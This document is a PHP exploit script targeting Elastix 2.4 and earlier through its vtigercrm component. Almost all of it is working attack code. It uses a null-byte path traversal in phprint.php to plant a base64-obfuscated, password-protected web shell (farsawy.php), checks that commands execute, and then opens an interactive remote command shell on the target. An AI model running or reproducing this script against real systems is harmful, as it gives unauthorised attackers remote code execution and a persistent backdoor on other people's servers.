Elastix < 2.5 - PHP Code Injection
<? echo "\n+-------------------------------------------+\n"; echo "| Elastix <= 2.4 |\n"; echo "| PHP Code Injection Exploit |\n"; echo "| By i-Hmx |\n"; echo "| sec4ever.com |\n"; echo "| n0p1337@gmail.com |\n"; echo "+-------------------------------------------+\n"; echo "\n| Enter Target [https://ip] # "; $target=trim(fgets(STDIN)); $inj='<?eval(base64_decode("JGY9Zm9wZW4oJ2ZhcnNhd3kucGhwJywndysnKTskZGF0YT0nPD8gaWYoISRfUE9TVFtwd2RdKXtleGl0KCk7fSBlY2hvICJGYXJpcyBvbiB0aGUgbWljIDpEPGJyPi0tLS0tLS0tLS0tLS0tLS0tIjtAZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtmYV0pKTtlY2hvICItLS0tLS0tLS0tLS0tLS0tLSI7ID8+Jztmd3JpdGUoJGYsJGRhdGEpO2VjaG8gImRvbmUiOwo=")); ?>'; $faf=fopen("fa.txt","w+"); fwrite($faf,$inj); fclose($faf); $myf='fa.txt'; $url = $target."/vtigercrm/phprint.php?action=fa&module=ff&lang_crm=../../modules/Import/ImportStep2.php%00"; // URL $reffer = "http://1337s.cc/index.php"; $agent = "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)"; $cookie_file_path = "/"; echo "| Injecting 1st payload\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, $agent); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS,array("userfile"=>"@".realpath($myf))); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_REFERER, $reffer); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file_path); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file_path); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); $result = curl_exec($ch); curl_close($ch); //echo $result; echo "| Injecting 2nd payload\n"; function faget($url,$post){ $curl=curl_init(); curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); curl_setopt($curl,CURLOPT_URL,$url); curl_setopt($curl, CURLOPT_POSTFIELDS,$post); curl_setopt($curl, CURLOPT_COOKIEFILE, '/'); curl_setopt($curl, CURLOPT_COOKIEJAR, '/'); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($curl,CURLOPT_FOLLOWLOCATION,0); curl_setopt($curl,CURLOPT_TIMEOUT,20); curl_setopt($curl, CURLOPT_HEADER, true); $exec=curl_exec($curl); curl_close($curl); return $exec; } function kastr($string, $start, $end){ $string = " ".$string; $ini = strpos($string,$start); if ($ini == 0) return ""; $ini += strlen($start); $len = strpos($string,$end,$ini) - $ini; return substr($string,$ini,$len); } $me=faget($target."/vtigercrm/phprint.php?action=fa&module=ff&lang_crm=../../cache/import/IMPORT_%00",""); echo "| Testing total payload\n"; $total=faget($target."/vtigercrm/farsawy.php","pwd=1337"); if(!eregi("Faris on the mic :D",$total)) { die("[+] Exploitation Failed\n"); } echo "| Sending CMD test package\n"; $cmd=faget($target."/vtigercrm/farsawy.php","pwd=1337&fa=cGFzc3RocnUoJ2VjaG8gZmFyc2F3eScpOw=="); if(!eregi("farsawy",$cmd)) { echo " + Cmd couldn't executed but we can evaluate php code\n + use : $target//vtigercrm/fa.php\n Post : fa=base64code\n"; } echo "| sec4ever shell online ;)\n\n"; $host=str_replace('https://','',$target); while(1){ echo "i-Hmx@$host# "; $c=trim(fgets(STDIN)); if($c=='exit'){die("[+] Terminating\n");} $payload=base64_encode("passthru('$c');"); $fuck=faget($target."/vtigercrm/farsawy.php","pwd=1337&fa=$payload"); $done=kastr($fuck,"-----------------","-----------------"); echo "$done\n"; } /* I dont even remember when i exploited this shit! maybe on 2013?! whatever , Hope its not sold as 0day in the near future xDD */ ?> |